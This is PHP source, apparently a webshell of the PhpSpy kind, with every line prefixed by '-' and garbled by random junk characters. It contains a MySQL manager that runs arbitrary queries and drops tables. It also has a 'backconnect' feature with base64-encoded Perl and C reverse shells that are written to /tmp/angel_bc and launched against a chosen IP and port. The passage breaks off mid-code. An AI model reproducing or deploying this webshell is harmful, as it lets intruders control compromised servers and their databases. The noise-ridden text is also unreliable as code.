! \; s! ~6 A6 i# M$ B+ H8 h - if ($doing == 'del' && $base64) {
) [" o# A2 F: U$ |" J+ o1 }3 O3 I - $where = base64_decode($base64);
7 d V/ A8 S& g, @; ~' f - $delete_sql = "DELETE FROM $tablename WHERE $where";2 U5 b6 h% l! T& ?3 x
- dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);$ n9 E( a6 a2 ?! N: b- k$ h# Y
- m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());' p" g9 O1 v+ Z; @
- }
A6 ~, y% B. b% O1 H - & u2 i- E% S% T
- if ($tablename && $doing == 'drop') {$ S$ ~; ^$ F! J4 f
- dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);3 a9 X% s+ n. I1 [5 X* n4 ~
- if (q("DROP TABLE $tablename")) {
4 A9 r, m; R, O - m('Drop table of success');
4 ~4 G! I: Q3 B+ }1 t# O - $tablename = '';
" ]& \4 F. s6 ? - } else {+ Y" w" D6 ^" h, u
- m(mysql_error());
* v0 [# b- c! { I$ Y; M: }# P - }0 W# g5 T6 n( l7 G6 T+ J& k2 K* `
- }
% J( ^- L8 o6 j# w8 ]6 _* Y9 G* K9 a -
: w5 n7 u: S2 Y% y. f/ k* v) Q( Z - $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
3 x5 P% x) P3 V; M - 5 J. ?# \" X& O3 ?
- formhead(array('title'=>'MYSQL Manager'));% Q# ?, ]: l3 C
- makehide('action','sqladmin');) k- p) d. A9 J! E" h
- p('<p>');
: \6 z( W- H- V! w - p('DBHost:');
7 J) S( i- s6 O% D& `. Z! t - makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
$ j6 K O- T$ i/ ?* g - p(':');; m+ S2 k. J0 o4 V' k U
- makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
! C& d/ v4 m, B7 l - p('DBUser:');
1 C) ^ ?- N% `# S& c. O - makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
( T7 |0 E" s% i! m0 T" z% Q2 S7 p x - p('DBPass:');* j& i6 _2 A+ Y2 @8 u
- makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass)); g( G: ]# E7 |: K' X, P% C
- p('DBCharset:');
2 g! n+ {4 ^& c2 r4 I4 r* @5 p9 L - makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));4 N3 f1 \% {; q3 C9 S' X, ?
- makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));
1 l: l6 C$ t) ` - p('</p>');
/ h! J; G; q+ M- ?3 ? - formfoot();
6 I" ~2 o* r2 k n) z3 f& I/ L# f3 R - ?>
" I; _' ?0 l. x" d. C/ b - <script type="text/javascript">
4 P3 x2 ]2 }% E$ [" g i K- b* ~1 Y - function editrecord(action, base64, tablename){
, o# y2 q# `. R' } - if (action == 'del') { 6 X8 J' L! r8 Q- d. I+ N! F8 b
- if (!confirm('Is or isn\'t deletion record?')) return;
( g8 o/ u& e. d( z: P+ C - }
. ^% L, P9 }) ~; j5 m( z! l - $('recordlist').doing.value=action;
. r7 y5 Z* S F1 R- R8 t - $('recordlist').base64.value=base64;) ?6 F! v' q# T# d2 u
- $('recordlist').tablename.value=tablename;
! v/ M9 T) Z, H; L+ d - $('recordlist').submit();' d' w! \2 V G; L
- }. P1 |, I1 e0 N# j- U; b
- function moddbname(dbname) {
8 b+ K3 A1 B V - if(!dbname) return;
! ^! D/ F" c4 ?+ a# h: ]* h: G - $('setdbname').dbname.value=dbname;
+ N! M$ J: a7 [9 | z6 u# Y - $('setdbname').submit();0 ^. p F+ R+ R. Q: x3 a# c
- }& p) e' t4 q1 M8 p- `" J% t5 F
- function settable(tablename,doing,page) {
4 I. F [/ u" | - if(!tablename) return;6 w- _/ P- @$ c! C; S6 f/ p8 M
- if (doing) {
5 i, s' `4 p& ^7 ]+ W - $('settable').doing.value=doing;! P z. ~: \! {4 @; V
- }
- A* u, ?7 P2 y/ t9 K3 ] - if (page) {3 `+ W, g9 s6 q1 U+ B0 }" a; B, z3 u
- $('settable').page.value=page;5 N- L# R( B( G2 _
- }" J, B" G. d0 u) ^& ?3 S: ^- Y( ?
- $('settable').tablename.value=tablename;& X7 @+ D- Y& P* r5 J) z& I6 F
- $('settable').submit();
8 b5 S: E O1 b - }* A1 d' B. c. |% x. l5 W V( n
- </script>
+ C: M- K7 d/ d' F7 M& w/ } - <?php
& d$ }# k* E: U( j! t - //操作记录
; _1 y( i8 G9 r - formhead(array('name'=>'recordlist'));" W- Q, I+ u' a3 x8 L2 X: j$ Q$ B& q
- makehide('doing');; d! Z) B- m! e1 q6 p
- makehide('action','sqladmin');
3 E. ^- p+ g& m2 ]$ f. c - makehide('base64');* T" k$ t! X9 [& I/ I+ u) ~; Z
- makehide('tablename');, U5 A; h3 B! T. K4 z
- p($dbform);, S( W$ Y8 e' Z1 g
- formfoot();3 O+ F4 t" \. Y: h! L- O, P9 W
- //选定数据库: h' s8 n* O0 x- }' Y Z: y/ h( U9 q
- formhead(array('name'=>'setdbname'));
. h7 C% V& s/ }; ~ u) O9 l - makehide('action','sqladmin');
; L! |9 {' N" |6 P2 z - p($dbform);+ ^% w% k/ Y5 A; {, Z$ U
- if (!$dbname) {
; u& ~# V4 ]+ m$ w( Q+ M# `- ^ - makehide('dbname');
5 U+ Y7 f& h- Q" b& l2 q2 r - }0 L' n( L- n8 @! N4 S) |' ?
- formfoot();/ n3 j7 X4 R7 x U
- //选定表
/ ^$ n+ ~# o" Y% r% k' g* C) G* k - formhead(array('name'=>'settable'));
6 i4 J! }2 h3 t0 H; c; V- K, H - makehide('action','sqladmin');
. W( U0 l" k& w9 } ^ - p($dbform);
3 P1 F1 e x/ G6 ?' ^( ]! i - makehide('tablename');
7 c9 [9 E4 b$ W) R5 I - makehide('page',$page);
7 ~5 K# z2 s6 e7 \' w8 ` - makehide('doing');! N! a4 C; g" B, R
- formfoot();
6 n9 r2 O5 ?! \7 F7 t( u. B; h - $cachetables = array(); $ b( k5 p: y& u7 @! E
- $pagenum = 30;
' H4 I. y8 U! K0 e. M/ R8 ~! f- }( ^0 R3 \ - $page = intval($page);
0 f, s+ p# ~" @4 |- l - if($page) {7 j6 ^& r- V4 s. z0 h% A. Q/ E) B
- $start_limit = ($page - 1) * $pagenum;
& v+ c) ~6 B# f) v% ` - } else { ~' e; P7 b" z4 `& z$ X7 Q9 l
- $start_limit = 0;
2 {. t3 V% m* M - $page = 1;; H9 i, f8 U( Z# P8 }# K) y/ m
- }
+ E! @* d5 x/ V2 F$ \ - if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
7 w5 Z+ V, b+ H `7 m0 Y3 ? - dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);3 y: P/ K9 N% Y) u0 Z* S/ w2 A
- //获取数据库信息
$ V2 |4 ^- W5 n8 R+ C - $mysqlver = mysql_get_server_info();4 ~. {4 H/ F! i' `% @) {
- p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');0 Q7 `$ o9 m M2 X: s
- $highver = $mysqlver > '4.1' ? 1 : 0;2 P% [) y, s0 d8 X$ c ?
- //获取数据库& D$ ^; r9 Y# p7 s
- $query = q("SHOW DATABASES");7 n4 h# U4 U2 e. P* T( M( u& C8 [
- $dbs = array();) B% E; q! A. K) a" Z* j( h8 `
- $dbs[] = '-- Select a database --';
6 {1 K, h4 h7 F, C4 y - while($db = mysql_fetch_array($query)) {: S$ D; s" u `6 e
- $dbs[$db['Database']] = $db['Database'];
8 b2 C+ ` n$ {4 y, k) ~8 P - }6 k9 N7 V9 v9 B% B3 H: E
- makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));# A: N7 k6 V4 h9 M! D9 G- l/ m! `
- $tabledb = array();
# a5 i+ } W' \% `' q" P) d$ E - if ($dbname) {
/ T2 e7 c& I i - p('<p>');+ W7 g3 k D, F) Q% [
- p('Current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>');. c9 @3 c6 {4 T' [4 Q4 n& C
- if ($tablename) {
0 I0 c+ S9 \3 {' L0 N - p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');
0 s9 X) G: ? _/ n( R6 m - }
$ G2 Z/ z. o N - p('</p>');
, I: t9 m* K2 q, i+ R6 _! Z2 B4 }8 D7 J& S - mysql_select_db($dbname);- ]9 f+ g5 T9 X% @6 A
- $getnumsql = '';
. b4 j! ? x& U7 M5 U9 X- ~* L" e - $runquery = 0;. n) d! B h- d/ Z7 B, k
- if ($sql_query) {
, P- b. n5 f3 z, @; Z - $runquery = 1;* i. F/ d; n! P- |3 G
- }
4 F# }3 s7 w$ }( a - $allowedit = 0;
% \& |, `( l) g3 K" }3 r. t7 i+ G - if ($tablename && !$sql_query) {
% {' A3 Z, V2 ^3 e! C - $sql_query = "SELECT * FROM $tablename";
+ j1 S- N }& T5 I2 s! \; Z( y - $getnumsql = $sql_query;
5 j( A. D2 i$ I5 L3 v( S - $sql_query = $sql_query." LIMIT $start_limit, $pagenum";
* z$ V. P5 Q0 A - $allowedit = 1;
, l$ {- ^: a5 K6 z3 t* h - } I/ y" L8 b" X) n) j4 c4 \
- p('<form action="'.$self.'" method="POST">');7 w. G6 M# B( o7 P( X
- p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database '.$dbname.':</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');
7 Z1 K7 e, f. e - makehide('tablename', $tablename);
8 W. Q- H/ h2 H( I9 o - makehide('action','sqladmin');# \; I5 u; ?' Y) X2 G# p# N' {' {
- p($dbform);
+ \1 Q6 I0 S4 r/ V - p('</form>');
( d% W6 q! k( [ K - if ($tablename || ($runquery && $sql_query)) {' ^) d4 @7 G9 v5 o) P5 e' q7 i
- if ($doing == 'structure') {
i3 F, Z8 n5 g0 w4 _ - $result = q("SHOW COLUMNS FROM $tablename");; ^ p" V# G" M& Q& j
- $rowdb = array();& t- m2 K& |# G9 x
- while($row = mysql_fetch_array($result)) {/ }/ t' Y; @0 x7 k8 e( C
- $rowdb[] = $row;
! K7 X# i# J0 Z$ T1 T0 U( ^ - }+ _/ V* [2 h: N
- p('<table border="0" cellpadding="3" cellspacing="0">');
9 X* ? l3 S5 Q - p('<tr class="head">');
& f3 G3 _) R) n0 b0 [9 h1 Q2 ~ - p('<td>Field</td>');- Q& w1 x' C/ }! S1 G+ Q& f, |
- p('<td>Type</td>');
4 u4 `, ]8 B2 a' r - p('<td>Null</td>');+ O7 G- O: r& Q5 V( I R+ { G _* ]
- p('<td>Key</td>');9 Y$ A4 a' d0 g5 t& `
- p('<td>Default</td>');- {# J( ~: S( b% _
- p('<td>Extra</td>');; j) P$ h y$ x! C# }
- p('</tr>');
& p1 C$ t8 v( m, N, z - foreach ($rowdb as $row) {
* W: ]" l& v9 ? - $thisbg = bg();
( w# G( F9 n0 U; k - p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
) D7 u. `1 I5 I - p('<td>'.$row['Field'].'</td>');6 K' k7 H4 `+ ^' m, S* F/ S
- p('<td>'.$row['Type'].'</td>');2 Y6 Y) r8 w. P" `. R& L
- p('<td>'.$row['Null'].' </td>');
. _: f8 X, K0 z8 f* g2 O4 V - p('<td>'.$row['Key'].' </td>');; q! b: y2 G2 W$ w
- p('<td>'.$row['Default'].' </td>');
4 K; q( h9 O9 w i6 q. L - p('<td>'.$row['Extra'].' </td>');2 e$ C. }- u4 p) a
- p('</tr>');
! r7 A! ?( Y) v$ z - }! V2 R8 s* v: F5 \
- tbfoot();
) W5 b2 a0 Q# ]& v - } elseif ($doing == 'insert' || $doing == 'edit') {5 Y* n' c9 f3 A
- $result = q('SHOW COLUMNS FROM '.$tablename);" k% N+ m9 n2 A4 S5 A5 t1 j# k8 c" t
- while ($row = mysql_fetch_array($result)) {' z+ |9 L$ T b+ \
- $rowdb[] = $row;
/ y4 Z3 y" `" s/ w: P' U8 C - }
. F& Y6 e5 W j9 o5 m - $rs = array();8 \6 ^% T" F6 D+ P
- if ($doing == 'insert') {
, P, F B# Q" k1 C# ^0 q - p('<h2>Insert new line in '.$tablename.' table »</h2>');
9 _# |# `( q D - } else {
1 |# h% v& h$ }" W- X, K - p('<h2>Update record in '.$tablename.' table »</h2>');" \0 w5 d0 e: I' t
- $where = base64_decode($base64);
& V0 ~7 w7 k& B7 U - $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");3 ?: a w" v* O; ?5 G& L
- $rs = mysql_fetch_array($result);# |. H% O8 Y8 k- Z' ?0 X% e
- }
3 J6 ]; W8 I7 C1 Z; Y e - p('<form method="post" action="'.$self.'">');' J1 j* I/ r, a% ^- k7 A
- p($dbform);) k1 ^5 }, |1 l$ {
- makehide('action','sqladmin');9 ]- `' ~0 `2 U" ~6 Q1 E* q
- makehide('tablename',$tablename);7 }& V! R* c. h' m
- p('<table border="0" cellpadding="3" cellspacing="0">');
' R) K' j( k$ o/ ? c - foreach ($rowdb as $row) {
1 W H# a# R- P4 Z g - if ($rs[$row['Field']]) {* k- k6 C( g, W% I
- $value = htmlspecialchars($rs[$row['Field']]);) f. A4 \% ]* D- u" I
- } else {/ G9 a4 H3 f! F4 |# l) Q
- $value = '';
% V1 Q Z$ D1 j+ I3 [+ g6 t - }
, n9 }* S( X% {8 f* i# b; g7 k0 [ - $thisbg = bg();
8 N; }4 G0 ^. z' l5 b$ i - p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
9 ?# m$ Z" I6 ]. s O. j - p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>'); G6 w/ i+ T- r0 k
- }4 [8 h! r/ ~% |7 s8 G2 h' _- w- q
- if ($doing == 'insert') {
8 F& }$ }) F$ P0 w# N! ]) C - p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');
. o$ c7 k) K- b7 \ - } else {# g" R& p+ w" I8 w9 v0 S, f
- p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');
5 u- X4 j. I3 S6 Z* _ - makehide('base64', $base64);
6 Y+ K1 a, @( i( f- Z0 l; E( K5 k! Y3 { - }
# X: Y: d* X& k* u - p('</table></form>');. K* J7 Z H1 e& p- z2 z( ^/ L1 \
- } else {8 E* P1 G' y# V( g- g' q
- $querys = @explode(';',$sql_query);
" l! x* |6 _& u' T9 ?- K2 |+ H6 \ - foreach($querys as $num=>$query) {
4 N5 v6 ?; Y E o/ @) {% K" u: R3 D7 O - if ($query) {
( b' t6 a/ n9 K1 ?' {( y - p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");2 v9 a3 F" I5 B* [
- switch(qy($query))
1 @: i0 @. }+ n& J6 W6 r3 i - {* {5 @7 C0 `3 @! p7 r) ]" X5 U
- case 0:' V0 [* a: ^) [, T
- p('<h2>Error : '.mysql_error().'</h2>');
0 D* i+ j- V' O+ Q8 {9 c - break;
7 a$ P& C, t3 P! K, j n7 K4 q$ i - case 1:9 k! [) e6 W% S
- if (strtolower(substr($query,0,13)) == 'select * from') {" n+ J8 Y1 Z3 Y: K
- $allowedit = 1;3 a1 b1 {' U% U+ u& c* P
- }
4 }, Q: R, b6 ?3 F o4 @6 B8 {2 b, x - if ($getnumsql) {/ `, T/ K1 p4 I7 a E$ U
- $tatol = mysql_num_rows(q($getnumsql));
0 K/ }: N% \- {7 p% z - $multipage = multi($tatol, $pagenum, $page, $tablename);; D2 w3 a2 n M( {9 j# `* \
- }. y- X6 w$ t P" @
- if (!$tablename) {% c0 Y: W8 {4 q& w. h
- $sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));, n' V# |# u) `; K
- $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);, T( a1 R, C6 ]
- preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);7 \4 V+ R* V& E/ p1 J2 W" B' t
- $tablename = $matches[1][0];+ R) n" E2 i2 U, a9 e; V" b0 A0 ~
- }+ f* D* c7 d ^0 }
- $result = q($query);8 \/ Z2 R$ r( h, p; X
- p($multipage);+ ]1 |: B# H) y8 x8 t2 n
- p('<table border="0" cellpadding="3" cellspacing="0">');! M7 E8 q5 g- K7 K6 r$ J
- p('<tr class="head">');
+ v+ S# t, @+ ~2 ?' q! ] - if ($allowedit) p('<td>Action</td>');
3 G7 t4 C6 u: @2 b& N! C - $fieldnum = @mysql_num_fields($result);
|# @8 _7 t4 I; \3 ~) h - for($i=0;$i<$fieldnum;$i++){
- r) G: j0 ^ W; B) @9 b - $name = @mysql_field_name($result, $i);
. ?7 B. I+ R& J j& Z - $type = @mysql_field_type($result, $i);- x+ f6 f" Q% U% z/ o; m
- $len = @mysql_field_len($result, $i);
' W7 K( W8 @! V* o) W# F4 d - p("<td nowrap>$name<br><span>$type($len)</span></td>");; S! H' K1 F4 [
- }% }6 {4 P" Q2 m D) o2 ^+ z& v
- p('</tr>');
) }5 R) y- s% H - while($mn = @mysql_fetch_assoc($result)){5 N7 K2 v$ B4 {, V6 ~
- $thisbg = bg();' K6 L) f1 r$ s( G8 q2 N
- p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
" _0 R4 m3 t C/ O4 e - $where = $tmp = $b1 = '';& F$ z1 U+ J$ C
- foreach($mn as $key=>$inside){
, K4 k- v7 Q. I4 I5 K! ] - if ($inside) {8 p/ a. m+ w$ r9 U7 u4 o
- $where .= $tmp.$key."='".addslashes($inside)."'";( w7 k# R, R2 \! U& ?4 [
- $tmp = ' AND ';! \& h! I% c; K ]9 Z7 g
- }" q+ B8 e" H: \ L) J
- $b1 .= '<td nowrap>'.html_clean($inside).' </td>'; G7 h# Q( f5 c& F
- }
7 f: H: D# ?: j9 D- J - $where = base64_encode($where);
! }- `0 l4 j A% k& i, d! I7 G - if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>');
! V. n3 v2 U5 _( ]5 L% l. _ r - p($b1);9 U: r. A- _ o$ F
- p('</tr>');
+ p! A7 K$ L8 ? r* I+ x( m! T9 S - unset($b1);! _# ~+ j Z' J
- }! |# v) {0 l* d2 S: ~
- tbfoot();$ \( }' H, I& l% |- s K
- p($multipage);1 M# s8 [* J1 ?# m' u# w) b( |
- break;
% Z) Z. W0 [, R" H' T) c - case 2:
! b* _. l6 ?6 E. Y+ f - $ar = mysql_affected_rows();& D) B# n4 \, j8 {$ G# X
- p('<h2>affected rows : <b>'.$ar.'</b></h2>');+ s7 ]2 W. ?: c) z1 b* U4 G0 Y
- break;7 h) j$ B* ]: `4 l
- }
# F9 |" f: |/ q: e - }3 P* _2 z( B4 \4 J$ M
- }1 j* |$ k% a- R) y2 Q
- }
6 ?( `5 _- H) \3 c& N* ]. I! _ - } else {- z( F d. V* q9 L5 K$ v5 G
- $query = q("SHOW TABLE STATUS");
Z- \" n% T7 M4 o - $table_num = $table_rows = $data_size = 0; D; e& w9 [8 W' h" U+ ^' b% ^
- $tabledb = array();
3 n! `- |( W. E' E- I+ L - while($table = mysql_fetch_array($query)) {
: S6 H Y- W3 g3 A - $data_size = $data_size + $table['Data_length'];
8 Z) K W6 l) H- Z$ D - $table_rows = $table_rows + $table['Rows'];1 h- D" U# p6 _% t X; ~
- $table['Data_length'] = sizecount($table['Data_length']);
* ?/ S! x) B' {% W' _ - $table_num++;0 l) O! k3 Z9 |1 e
- $tabledb[] = $table;
. P9 ?' Z+ _# q! Q - } v$ _& z/ h2 [; n( i4 t/ }0 L
- $data_size = sizecount($data_size);
: _: _% U7 u& N# a- O L1 e4 ], Q - unset($table);
+ m! u; D0 J! r o - p('<table border="0" cellpadding="0" cellspacing="0">');5 x" R8 G2 l' D5 c& `
- p('<form action="'.$self.'" method="POST">');
! @, }+ p& V6 n6 U$ ^/ l9 y* P/ q - makehide('action','sqladmin');- R- n4 m3 U, e+ n( K, A$ t
- p($dbform);4 b! o/ e+ R9 d/ p ~
- p('<tr class="head">');5 ?; B2 i- L/ r) |1 \- W0 Q1 `% B
- p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');
# H: @$ y7 R7 X- ?7 k1 z3 b( B) W - p('<td>Name</td>');
- K. W; I* w: N( {) V - p('<td>Rows</td>');, R$ x( N t J! D& ~+ G d
- p('<td>Data_length</td>');! O* Z6 ?2 r1 W
- p('<td>Create_time</td>');8 q, a7 Q- ^( h) @" I* N
- p('<td>Update_time</td>');
$ e/ B- Y' ^% X+ }) i# h6 n% o - if ($highver) {
8 s* G* s7 Q. `' T( p - p('<td>Engine</td>');5 f4 R7 J+ S0 P P9 T. K/ w; A
- p('<td>Collation</td>');
; L: B$ p- s$ X, G9 U. Q6 G - }' Z5 f% z3 W# T( l
- p('</tr>');
& V4 B- [) Q: m) N - foreach ($tabledb as $key => $table) {
0 J0 r- r9 S- A) f3 A - $thisbg = bg();& t3 u2 O" [1 }8 K: k7 Q% }. L
- p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');: c6 B, O7 M0 W' E" y2 o
- p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>');0 @: R2 V+ o$ N0 x" e; o- k
- p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a> [ <a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a> ]</td>');$ [. L" n* D2 k l
- p('<td>'.$table['Rows'].'</td>');3 W) B4 c; G) B" F6 F2 k' q3 h) u" Q
- p('<td>'.$table['Data_length'].'</td>');3 I- m, J% l) J) ~
- p('<td>'.$table['Create_time'].'</td>');
! a/ j8 S% }, o3 X& R/ v. y - p('<td>'.$table['Update_time'].'</td>');' n3 `5 F( e5 a" x7 k
- if ($highver) {
8 s" C" N/ ?) O9 B - p('<td>'.$table['Engine'].'</td>');0 t* Q* e% X- x0 Q3 x! {( V
- p('<td>'.$table['Collation'].'</td>');
: a2 f8 z! j: ~" t0 b - }1 A/ V' Y' e0 I* D8 {
- p('</tr>');
) @: [: Z3 T4 y7 ?# W7 |5 ]" W - }; ]) u8 }1 Y7 X. y2 |' m" T
- p('<tr class='.bg().'>');
9 y D. {( f! Q# y - p('<td> </td>');
( X, D/ X& I# L2 D7 o - p('<td>Total tables: '.$table_num.'</td>');+ w' ^- G4 F. y- H: f3 E0 r! u
- p('<td>'.$table_rows.'</td>');
5 E7 V- Z, T# O7 `! R1 b6 o. j4 g - p('<td>'.$data_size.'</td>');
3 Y7 t( Q% Z1 t4 ` - p('<td colspan="'.($highver ? 4 : 2).'"> </td>');
' I/ u( I( P* _1 n/ A. w# u - p('</tr>');( C! G( ~% k8 |
- p("<tr class="".bg().""><td colspan="".($highver ? 8 : 6).""><input name="saveasfile" value="1" type="checkbox" /> Save as file <input class="input" name="path" value="".SA_ROOT.$_SERVER['HTTP_HOST']."_MySQL.sql" type="text" size="60" /> <input class="bt" type="submit" name="downrar" value="Export selection table" /></td></tr>");
6 @" W% K- H9 `1 H$ D5 M - makehide('doing','backupmysql');
! Z- {, T. R9 r& n- W$ W - formfoot();
: [& a' _ w* _/ v% | - p("</table>");! I% l5 k/ n" i) n* {
- fr($query);
: S% F0 ?- X- D: o - }
8 X$ l& H% m. Y+ a$ J1 n [9 }/ P - }1 F6 I! U; u& \9 e8 x
- }
7 p t" U! q; T" D* z* D& X+ P& b - tbfoot();, T/ [1 ^/ h2 ?) o6 z* X
- @mysql_close();2 n8 |8 h! Q7 G, F/ w3 p
- }//end sql backup( j, S" h1 U+ }* k: A0 F: f
- elseif ($action == 'backconnect') {
3 H# t4 H! I7 ^7 f$ p - !$yourip && $yourip = $_SERVER['REMOTE_ADDR'];, S6 u$ [7 u+ B \' G
- !$yourport && $yourport = '12345';
0 j3 e6 ^" C( c+ O# n0 L: i - $usedb = array('perl'=>'perl','c'=>'c');7 B$ d9 v5 v6 m7 S" ?- Y: o
- $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".! f: w8 }* _2 v7 ^% e* B& j" O
- "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".8 I) X. N; N2 `) _6 F) Y! ~
- "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
7 f2 W! l, M, T) V# q* H# ]7 w - "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
6 K5 {! T- _- R5 H8 }0 n - "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".4 u; F* ?, }* m" R" i
- "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".3 B7 n4 g1 ~; P8 ~. J0 S0 t
- "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
# J5 b J- R) {% P/ d) k: \! I3 w - $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".1 u* X4 ?9 X/ I! l2 k
- "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".
) t5 {& m+ N6 ]1 c; [: Q# o - "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".
2 w0 }7 l* F) I* c; x - "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".' S0 u, u9 \) F" o: n- M; d0 P8 ~
- "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".7 @, G- Z+ _7 @ c
- "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".* _ p( j. E0 f1 `' q4 i* g; o" j
- "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".* f8 V8 @3 s0 Y4 ~6 G
- "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
: e% `& g, y. G - if ($start && $yourip && $yourport && $use){
) z% u" Z: s1 R/ y8 W0 |: a - if ($use == 'perl') {
1 e. O( r* ]7 y - cf('/tmp/angel_bc',$back_connect);0 k2 e+ r) }; ^; @7 i
- $res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &");
, n9 @. F& ]* S: g - } else {
. N+ R X ]% h* U: {; S - cf('/tmp/angel_bc.c',$back_connect_c);5 K6 i. D) |5 A) O# V% v% R
- $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
